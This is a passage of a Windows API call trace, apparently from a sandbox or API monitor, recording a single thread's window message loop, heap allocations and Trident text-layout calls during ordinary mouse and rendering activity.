[0117.139] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.139] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.139] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0117.139] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0117.140] GetCurrentThreadId () returned 0x4e0
[0117.140] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x17402e5, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0117.140] NtdllDefWindowProc_W () returned 0x0
[0117.140] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0117.140] GetCurrentThreadId () returned 0x4e0
[0117.140] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.140] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.140] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.140] GetCurrentThreadId () returned 0x4e0
[0117.140] GetCurrentThreadId () returned 0x4e0
[0117.140] GetCurrentThreadId () returned 0x4e0
[0117.140] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.213] NtdllDefWindowProc_W () returned 0x1
[0117.213] NtdllDefWindowProc_W () returned 0x1
[0117.213] NtdllDefWindowProc_W () returned 0x1
[0117.263] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.263] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0117.263] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0117.263] PtInRect (lprc=0x1cf5d0, pt=0x2e5) returned 1
[0117.263] GetCurrentThreadId () returned 0x4e0
[0117.263] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.263] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0117.263] GetMessageTime () returned 43196
[0117.263] GetMessagePos () returned 0x1c4031f
[0117.263] GetCapture () returned 0x0
[0117.263] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0117.263] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0117.263] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0117.263] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.263] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.263] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0117.263] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.263] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.263] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0117.263] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0117.263] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0117.263] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0117.264] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.264] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.264] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0117.264] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0117.264] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.264] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.264] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0117.264] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0117.264] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.264] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.264] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0117.264] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.264] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.264] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.264] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.264] IntersectRect (in: lprcDst=0x1ce07c, lprcSrc1=0x1ce07c, lprcSrc2=0x1cdf34 | out: lprcDst=0x1ce07c) returned 1
[0117.264] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce09c | out: lprcDst=0x1cf0e0) returned 1
[0117.264] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.264] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.264] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce0bc | out: lprcDst=0x1cf0e0) returned 1
[0117.264] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.264] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.264] IntersectRect (in: lprcDst=0x1cdcc4, lprcSrc1=0x1cdcc4, lprcSrc2=0x1cdb60 | out: lprcDst=0x1cdcc4) returned 1
[0117.264] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.264] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.264] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcb4 | out: lprcDst=0x1cf0e0) returned 1
[0117.264] IntersectRect (in: lprcDst=0x1cdb70, lprcSrc1=0x1cdb70, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdb70) returned 1
[0117.264] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcd4 | out: lprcDst=0x1cf0e0) returned 1
[0117.264] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0117.265] LsSetDoc () returned 0x0
[0117.265] LsCreateLine () returned 0x0
[0117.265] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.265] LsDestroyLine () returned 0x0
[0117.265] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.265] IntersectRect (in: lprcDst=0x1cdf40, lprcSrc1=0x1cdf40, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdf40) returned 1
[0117.265] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.265] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.265] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.265] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0117.265] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.265] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.265] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0117.265] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0117.265] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0117.266] LsSetDoc () returned 0x0
[0117.266] LsCreateLine () returned 0x0
[0117.266] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.266] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.266] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.266] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.266] LsdnFinishRegular () returned 0x0
[0117.266] LsQueryLinePointPcp () returned 0x0
[0117.266] LsDestroyLine () returned 0x0
[0117.266] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.267] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.267] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.267] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.267] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.267] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.267] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.267] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.267] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.267] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.267] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0117.267] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.267] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.267] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.267] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.267] PtInRect (lprc=0x1cf27c, pt=0x11cf6) returned 0
[0117.267] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0117.267] GetCursor () returned 0x10005
[0117.267] GetCurrentThreadId () returned 0x4e0
[0117.267] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.267] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.267] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.267] GetMessageTime () returned 43337
[0117.267] GetMessagePos () returned 0x1c4031f
[0117.268] GetCapture () returned 0x0
[0117.268] GetCurrentThreadId () returned 0x4e0
[0117.268] GetCurrentThreadId () returned 0x4e0
[0117.268] GetCurrentThreadId () returned 0x4e0
[0117.268] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0117.268] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0117.268] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0117.268] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.268] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.268] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0117.268] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.268] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.268] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0117.268] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0117.268] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0117.268] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0117.268] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.268] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.268] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0117.268] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0117.268] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.268] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.268] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0117.268] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0117.268] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.268] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.268] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0117.268] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.268] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.268] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.268] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.268] IntersectRect (in: lprcDst=0x1ce104, lprcSrc1=0x1ce104, lprcSrc2=0x1cdfbc | out: lprcDst=0x1ce104) returned 1
[0117.268] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf168) returned 1
[0117.268] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.268] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.269] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf168) returned 1
[0117.269] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.269] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.269] IntersectRect (in: lprcDst=0x1cdd4c, lprcSrc1=0x1cdd4c, lprcSrc2=0x1cdbe8 | out: lprcDst=0x1cdd4c) returned 1
[0117.269] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.269] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.269] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd3c | out: lprcDst=0x1cf168) returned 1
[0117.269] IntersectRect (in: lprcDst=0x1cdbf8, lprcSrc1=0x1cdbf8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdbf8) returned 1
[0117.269] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd5c | out: lprcDst=0x1cf168) returned 1
[0117.269] LsSetDoc () returned 0x0
[0117.269] LsCreateLine () returned 0x0
[0117.269] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.269] LsDestroyLine () returned 0x0
[0117.269] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.269] IntersectRect (in: lprcDst=0x1cdfc8, lprcSrc1=0x1cdfc8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdfc8) returned 1
[0117.269] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.270] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.270] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.270] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0117.270] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.270] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.270] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0117.270] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0117.270] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0117.270] LsSetDoc () returned 0x0
[0117.270] LsCreateLine () returned 0x0
[0117.270] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.270] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.270] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.270] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.271] LsdnFinishRegular () returned 0x0
[0117.271] LsQueryLinePointPcp () returned 0x0
[0117.271] LsDestroyLine () returned 0x0
[0117.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.271] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0117.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.271] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.271] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0117.271] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0117.272] GetCurrentThreadId () returned 0x4e0
[0117.272] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x17402e5, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0117.272] NtdllDefWindowProc_W () returned 0x0
[0117.272] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0117.272] GetCurrentThreadId () returned 0x4e0
[0117.272] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.272] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.272] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.272] GetCurrentThreadId () returned 0x4e0
[0117.272] GetCurrentThreadId () returned 0x4e0
[0117.272] GetCurrentThreadId () returned 0x4e0
[0117.272] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.274] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.274] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0117.274] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0117.274] PtInRect (lprc=0x1cf5d0, pt=0x2e5) returned 1
[0117.274] GetCurrentThreadId () returned 0x4e0
[0117.274] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.274] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0117.274] GetMessageTime () returned 43337
[0117.275] GetMessagePos () returned 0x1c4031f
[0117.275] GetCapture () returned 0x0
[0117.275] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0117.275] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0117.275] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0117.275] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.275] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.275] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0117.275] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.275] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.275] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0117.275] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0117.275] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0117.275] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0117.275] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.275] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.275] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0117.275] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0117.275] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.275] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.275] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
